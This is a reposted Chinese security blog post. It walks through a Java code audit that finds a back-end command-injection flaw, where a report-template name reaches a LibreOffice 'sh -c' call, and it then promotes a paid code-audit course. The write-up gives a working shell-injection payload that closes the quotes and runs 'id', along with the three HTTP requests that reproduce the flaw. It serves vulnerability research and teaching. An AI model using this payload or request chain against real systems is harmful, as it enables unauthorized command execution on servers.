代码审计JAVA源码RCE漏洞记录

admin 2026-05-19 05:15:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了对JAVA应用进行代码审计发现RCE漏洞的过程,通过分析CommandUtils.execFor()和PdfConverter.convert()等关键代码,发现用户可控的模板文件名未经过滤直接拼接进shell命令导致命令注入。漏洞利用需构造包含shell元字符的payload绕过双引号包裹和后缀校验,文章详细拆解了攻击链并给出复现步骤。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,安全开发,实战经验


cover_image

代码审计JAVA源码RCE漏洞记录

威零安全团队

2026年5月18日 14:14 广东

在小说阅读器读本章

去阅读

以下文章来源于进击安全 ,作者知名小朋友

进击安全 .

主要分享一些个人实战经验,以及漏洞复现,代码审计,等等方面的文章,欢迎大家关注我的公众号呀,可以投稿哦,有稿费的哦,菜鸟路过~~~

# 现在只对常读和星标的公众号才展示大图推送,建议大家能把威零安全团队“设为星标”,否则可能就看不到了啦! ![](https://mmbiz.qpic.cn/mmbiz_png/DlIbJNHXhc1pC40KxSpjPOq2S0fHe2qP1llaRVZ08cicqPGibeXrb7XPBtFOPciccD4bmGKmZs4Ny4Hfpc2iaQWUdQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=0) 免责声明 本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。 由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。威零安全实验室公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

一、前言

![](https://mmbiz.qpic.cn/mmbiz_png/10dIbyHH820cpP4Ieg9iauOhnf6tA4ZFMU7s2tkHx3DTK9RFicfHIM863FrMicxY14QJicf47bYUQGhedOvTMvqAmhiayHb9Ur6uc6uQHooU6GCY/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=1)

前段时间跟着小朋友老师的课程学习了一段时间JAVA代码审计,今天尝试进行实操审计一下,JAVA反序列化这些还没学完,先进行审计基础漏洞(文章借助AI编辑)。

二、漏洞分析

    先进行定位分析,这里审计出来的是后台漏洞,完成了小朋友老师的0-1但是还没完成0-1+1这一步,给尊师也投稿一个,首先进行定位敏感函数。
new ProcessBuilder();
Runtime.getRuntime().exec()
上述两个为命令执行接口,尝试进行分析。

2.1 命令执行入口 — CommandUtils.execFor()

全局搜索ProcessBuilder关键字,定位到CommandUtils.java,这是项目中封装命令执行的工具类。
public class CommandUtils {
    public static String execFor(String cmd, boolean charsetAuto) {
        ProcessBuilderbuilder=newProcessBuilder();
        builder.command("/bin/sh", "-c", cmd);  // ← 关键点:cmd直接交给sh -c执行
        builder.directory(devHome);
        builder.redirectErrorStream(true);
        try {
            Processprocess=builder.start();
            // 读取命令输出 ...
            String result=IOUtils.readString(process.getInputStream());
            process.waitFor();
            return result;
        } catch (Exceptione) {
            throw new RuntimeException(e);
        }
    }
}
这里可以看见,cmd参数原封不动传入 /bin/sh -c。sh -c 会解析其中一切shell元字符(;|$()`& 等),只要cmd中包含用户可控的内容,就能注入任意命令。

2.2 命令构造点 — PdfConverter.convert()

全局搜索 execFor 的调用,跟进到 PdfConverter.java,这是负责调用 LibreOffice 进行文件格式转换的类。
public class PdfConverter {
    privatestaticfinalStringSOFFICE="/usr/bin/soffice";

    public static Fileconvert(String path, String type, String outDir) {
        // ① 拼装shell命令 —— path直接通过 %s 格式化进入命令字符串
        Stringcmd=String.format("%s --headless --convert-to %s \"%s\" --outdir \"%s\"",SOFFICE,  // soffice路径(固定)
            type,     // 转换类型,如 "pdf"(固定)
            path,     // ← 用户可控的文件路径,用双引号包裹
            outDir    // 输出目录(固定)
        );
        // ② 调用execFor → /bin/sh -c cmd
        CommandUtils.execFor(cmd, false);
        // ...
    }
}
这里可以看见,path参数虽然被双引号 "..." 包裹,看似安全,但实际上:

* path来自用户可控的文件名
* 双引号内如果出现 " 字符,就会提前闭合引号
* 闭合引号后,后续内容就脱离了引号保护,被sh -c当作命令执行

这就是典型的"双引号包裹 → 双引号注入"绕过。

接下来需要追一个问题:path是从哪来的?能不能被用户控制?

2.3 path的来源 — 模板文件名拼接

搜索 convert() 的调用点,定位到 DataReportService 或类似报表服务类中。

// 文件: 报表导出服务(ReportService / DataReportService)

public void exportPdf(String reportId, String[] recordIds) {
    // 从数据库取出报表模板配置
    DataReportConfig config=dataReportConfigService.getById(reportId);
    // 获取模板文件名 —— 这个文件名是在创建模板时由用户控制的
    String templateFile=config.getTemplateFile();  // ← 用户上传的模板文件路径

    // 拼出模板文件的完整磁盘路径
    String path=getStoragePath() +"/"+templateFile;

    // 调用convert,path传入shell命令
    PdfConverter.convert(path, "pdf", outputDir);
}
继续跟入,templateFile 这个字段是怎么设置的? 定位到模板创建/编辑的Controller。
@PostMapping("/app/entity/common-save")
public JSONObject commonSave(@RequestBody JSONObjectdata) {
    // 前端传入的JSON直接映射到实体对象
    DataReportConfig config=new DataReportConfig();
    config.setName(data.getString("name"));           // ← 模板名称,用户完全可控
    config.setTemplateFile(data.getString("templateFile")); // ← 模板文件路径
    config.setTemplateType(data.getInt("templateType"));
    // ... 其他字段
    // 直接入库,无任何过滤
    dataReportConfigService.save(config);
    return JSONObject.ok();
}
这里可以看见,name字段由前端JSON直接传入,没有经过任何过滤就直接存入数据库。

再往回追一步,templateFile字段和name字段的关联。模板文件上传后,文件名是由name字段拼接生成的:
public String storeTemplateFile(MultipartFile file, String templateName) {
    String recordId=generateRecordId();
    String date=DateUtils.format(newDate(), "yyyyMMdd");
    String fileName = String.format("%s__%s_%s.xlsx",recordId,templateName,date);
    // 存储文件
    Filedest=newFile(storageDir, fileName);
    file.transferTo(dest);

    // 返回相对路径,这个路径最终存入 templateFile 字段
    return"rb/"+date+"/"+fileName;
}
到这里整个链路就清楚了:
用户HTTP请求中的 name 字段
&nbsp; → 无过滤拼入文件名: xxx__<name>_date.xlsx
&nbsp; → 文件名存入 templateFile 字段
&nbsp; → 导出PDF时取出 templateFile,拼出完整磁盘路径 path
&nbsp; → path 传入 PdfConverter.convert()
&nbsp; → String.format 将 path 拼入 shell 命令字符串
&nbsp; → /bin/sh -c 执行 → 命令注入
2.4 后缀校验绕过

在 PdfConverter 中唯一的校验是文件后缀:

// PdfConverter.java
public&nbsp;static&nbsp;File&nbsp;convert(String&nbsp;path,&nbsp;String&nbsp;type,&nbsp;String&nbsp;outDir) {
&nbsp; &nbsp;&nbsp;File&nbsp;file=new&nbsp;File(path);
&nbsp; &nbsp;&nbsp;// 唯一的安全检查:校验后缀是否为Excel文件
&nbsp; &nbsp;if&nbsp;(!file.getName().endsWith(".xlsx")&nbsp;&&!file.getName().endsWith(".xls")) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;IllegalArgumentException("Not a valid Excel file");
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 校验通过,path原样进入shell命令
&nbsp; &nbsp;&nbsp;String&nbsp;cmd=String.format("%s --headless --convert-to %s \"%s\" --outdir\"%s\"",SOFFICE,&nbsp;type,&nbsp;path,&nbsp;outDir);
&nbsp; &nbsp;&nbsp;CommandUtils.execFor(cmd,&nbsp;false);
}
这里没有对文件名内容做任何过滤,只要保证后缀是&nbsp;.xlsx&nbsp;即可绕过。Payload中的&nbsp;#&nbsp;注释掉了文件名后半段的&nbsp;"&nbsp;和&nbsp;.xlsx",所以后缀校验完全不受影响。

2.5 Shell注入Payload构造原理

现在站在攻击者视角,倒推为什么要构造这样的HTTP报文。

攻击者的目标:在 name 字段中注入shell元字符,让命令在服务端执行。

约束条件:

1. name 值最终会出现在 shell 命令的双引号&nbsp;"..."&nbsp;内
2. 文件名必须以&nbsp;.xlsx&nbsp;结尾才能通过后缀校验
3. 命令输出需要能回显到攻击者能看到的地方

Payload构造过程:

已知最终拼出的命令模板是:
soffice --headless --convert-to pdf "/path/to/xxx__<name>_date.xlsx" --outdir "/tmp"
要在双引号内执行任意命令,需要做三件事:

* ① 用&nbsp;"&nbsp;闭合前面的双引号
* ② 用&nbsp;;&nbsp;分隔命令(或者&nbsp;|&&&nbsp;等)
* ③ 用&nbsp;#&nbsp;注释掉后面的内容(避免语法错误)

Payload设计:
rce";id>&2;#
代入后效果:
soffice --headless --convert-to pdf "/path/to/xxx__rce";id>&2;#_date.xlsx" --outdir "/tmp"
逐段解析:

* rce"&nbsp;→ 字符串末尾的&nbsp;"&nbsp;闭合了第一个双引号,rce只是填充字符无实际意义
* ;&nbsp;→ shell命令分隔符,结束soffice命令,开始新的命令
* id&nbsp;→ 要执行的任意命令
* >&2&nbsp;→ 将stdout重定向到stderr,因为Java代码中&nbsp;redirectErrorStream(true)&nbsp;会合并stderr到stdout,保证命令输出能被Java进程读取并返回
* ;&nbsp;→ 分隔符
* #&nbsp;→ shell注释符,注释掉后面所有内容(_date.xlsx" --outdir "/tmp"),防止语法报错

这就是为什么数据包中 name 字段要构造为&nbsp;rce";id>&2;#&nbsp;的原因。

三、漏洞复现

下面逐一拆解三个攻击步骤,每个HTTP请求对应代码中的哪一段逻辑。

Step 1 — 上传Excel模板文件
POST /filex/upload HTTP/1.1
Content-Type: multipart/form-data
...
Content-Disposition: form-data; name="file"; filename="cmdi_1778410303.xlsx"

[Excel二进制数据]
对应代码:
@PostMapping("/filex/upload")
public&nbsp;JSONObject&nbsp;upload(@RequestParam("file")&nbsp;MultipartFile&nbsp;file) {
&nbsp; &nbsp;&nbsp;// 接收上传文件,存储到磁盘,返回文件路径
&nbsp; &nbsp;&nbsp;String&nbsp;filePath=fileStoreService.store(file);
&nbsp; &nbsp;&nbsp;return&nbsp;JSONObject.ok().put("filePath",&nbsp;filePath);
}
这一步只是上传一个合法的Excel文件,内容随意,目的是获得一个&nbsp;templateFile&nbsp;路径,供下一步使用。攻击者要的是一个合法的&nbsp;.xlsx&nbsp;文件路径。

Step 2 — 保存模板,注入payload
POST /app/entity/common-save HTTP/1.1
Content-Type: application/json

{
&nbsp; "belongEntity": "User",
&nbsp; "name": "rce\";id>&2;#",
&nbsp; "templateFile": "rb/20260510/185145218__cmdi_1778410303.xlsx",
&nbsp; "templateType": 1,
&nbsp; "extraDefinition": {"templateVersion": 3},
&nbsp; "metadata": {"entity": "DataReportConfig"}
}
对应代码:

// CommonSaveController.java
@PostMapping("/app/entity/common-save")
public&nbsp;JSONObject&nbsp;commonSave(@RequestBodyJSONObjectdata) {
&nbsp; &nbsp;&nbsp;DataReportConfig&nbsp;config=new&nbsp;DataReportConfig();
&nbsp; &nbsp;&nbsp;config.setName(data.getString("name")); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ← name = rce";id>&2;#
&nbsp; &nbsp;&nbsp;config.setTemplateFile(data.getString("templateFile"));
&nbsp; &nbsp;&nbsp;config.setTemplateType(data.getInt("templateType"));
&nbsp; &nbsp;&nbsp;// ... 其他字段
&nbsp; &nbsp;&nbsp;dataReportConfigService.save(config);
&nbsp; &nbsp;&nbsp;returnJSONObject.ok();
}
为什么name字段可以注入:

* name在前端是一个文本输入框的值,提交时作为JSON字符串传递
* 后端接收后没有任何过滤(没有转义、没有白名单、没有正则校验)
* name存入数据库后,在导出PDF时被取出来拼接到文件名中
* 最终进入shell命令

Step 3 — 导出PDF,触发命令执行
GET /app/User/report/generate?report=032-019e1183c5282f79&record=001-0000000000000001,001-0000000000000001&output=PDF HTTP/1.1
对应代码:
@GetMapping("/app/{entity}/report/generate")
publicJSONObjectgenerateReport(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@PathVariableStringentity,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@RequestParamStringreport,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@RequestParamStringrecord,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@RequestParamStringoutput) {
&nbsp;&nbsp;DataReportConfigconfig=dataReportConfigService.getById(report);

&nbsp; &nbsp;&nbsp;// 获取模板文件名 → 拼成完整路径
&nbsp; &nbsp;&nbsp;String&nbsp;templateFile=config.getTemplateFile();
&nbsp; &nbsp;&nbsp;// templateFile = "rb/20260510/xxx__rce\";id>&2;#_date.xlsx"

&nbsp; &nbsp;&nbsp;String&nbsp;path=getStoragePath()+"/"+templateFile;

&nbsp; &nbsp;&nbsp;// 调用PdfConverter.convert(path) → shell执行 → 命令注入触发
&nbsp; &nbsp;&nbsp;PdfConverter.convert(path,&nbsp;"pdf",&nbsp;outputDir);

&nbsp; &nbsp;&nbsp;returnJSONObject.ok();
}
![](https://mmbiz.qpic.cn/sz_mmbiz_png/10dIbyHH822U8IzvBcibcARKfjiaExaT1R5AB89OtlS9ia1FP2rr9PkSibibfUpJwfcPmKicBiamc68gpKKYcyoGWeZ9FFdmjibQpc8TaWz4NQbO5lU/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=2)

成功执行系统命令。

代码审计培训介绍&广告区域

二、第五期课程

第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(例如组合拳RCE、前台相关漏洞等)。

1

课程周期

开课周期预计到:三个月左右(直播+录播)

课程大纲

本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。

01

PHP&JAVA&NET代码审计 (直播+录播)

之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。

PHP课程目录

✅  第一节课:多框架初识&路由认识&参数传递

✅  第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式

✅  第三节课:多框架&常见漏洞函数&回显&非回显

✅  第四节课:注入漏洞&常见位置&实战审计注入类漏洞

✅  第五节课:前台RCE漏洞审计&漏洞案例技巧讲解

✅  第六节课:门户网站CMS&网络设备&审计经验讲解

✅  第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析

✅  第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例

✅  第九节课:PHP下反序列化漏洞&魔术方法&pop链分析

✅  第十节课:PHP下反序列化漏洞实战&phar协议RCE案例

JAVA课程目录

✅  第一节课:Servlet&Spring Boot&Spring MVC&Struts2

✅  第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析

✅  第三节课:多框架下&权限绕过&鉴权对抗&案例分析

✅  第四节课:常见漏洞函数&案例分析&审计技巧

✅  第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例

✅  第六节课:反序列化&CC链利用&反序列化漏洞利用

✅  第七节课:Ognl&SpEl&EL表达式注入&漏洞案例

✅  第八节课:内存马简介&内存马原理分析&内存马注入方式

✅  第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例

✅  第十节课:组件漏洞&shiro&fastjson&log4j分析&利用

.NET课程目录

✅  第一节课:初识.NET&Web From & MVC架构框架分析

✅  第二节课:Web From&MVC框架&鉴权分析&认证方式

✅  第三节课:多框架下&鉴权对抗&权限绕过分析&案例

✅  第四节课:注入漏洞分析&文件操作类漏洞&实战分析

✅  第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解

✅  第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解

✅  第七节课:.NET反序列化漏洞初识&反序列化漏洞原理

✅  第八节课:.NET安全反序列化链&反序列化触发场景

✅  第九节课:.NET反序列化漏洞案例&反序列化漏洞分析

02

基础~技巧~番外(录播)

该篇章为长期更新

1

基础篇章

1、由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。

2、同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量

3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。

2

技巧篇章

1、随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解。

3

番外篇章

1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。

课程思维导图

常见疑问&课程讲解

第五期课程收费多少?

本次课程收费仍然是1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含内部平台,以及后续推出一系列内容均可观看)。

什么时间段上课,上课周期是多长时间?

第五期课程【直播+录播】上课周期为三个月,一般集中在周五六日这三天,一周保持2~3节课,每节课1小时左右。

作为学员,我们都有哪些权益?

首先最关键的就是课程内容是可以一直学习的,同时内部报告平台也可进行观看,答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。

学完之后可以达到什么水平?

学完之后可以达到可以进行独立审计的水平,在面对php、JAVA、NET主流语言的源码,可以进行独立审计,验证漏洞,对于一些JAVA安全内容例如:反序列化,内存马等也有一定的理解,可以进行打反序列化漏洞、注入内存马等操作,同时PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE均有案例。

0基础可以学吗?

1、这是大家最常问的一个问题,0基础是可以的,我的代码审计课程一直秉持着帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成0-1出洞到0-1出有质量的漏洞。

2、另外考虑到有的学员基础较为薄弱,本期同时也开了番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为协助到一些基础比较薄弱的师傅们。

是那种读PPT拿着靶场讲解吗?

不会,课程均使用一些0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从简-难漏洞案例,深度体验代码审计当中的难易区分,完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,让学员熟悉这节课的大概内容等信息,然后直接实操到下课,这一点也是我干培训五期以来一直使用的授课方式。

是否有简历修改&内推等福利?

有的兄弟,有的,不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。

为什么你不新增AI方向的内容?

目前我个人认为AI可以帮助我们提升很大的效率,但是前提是AI的使用者本身要懂这个技术,才可以利用AI来降低该技术门槛,提升效率,完全自动化目前感觉还是无法做到,包括课程当中也会使用AI会顺带着给师傅讲了如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。

联系方式


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:威零安全团队 《代码审计JAVA源码RCE漏洞记录》

SRC实战|套娃的JS 网络安全文章

SRC实战|套娃的JS

文章总结: 该文档记录了一次SRC实战漏洞挖掘过程,攻击者通过直接拼接接口获取任意账号密码,并利用JS文件嵌套引用(套娃)实现未授权访问。文章展示了两个关键漏洞
评论:0   参与:  0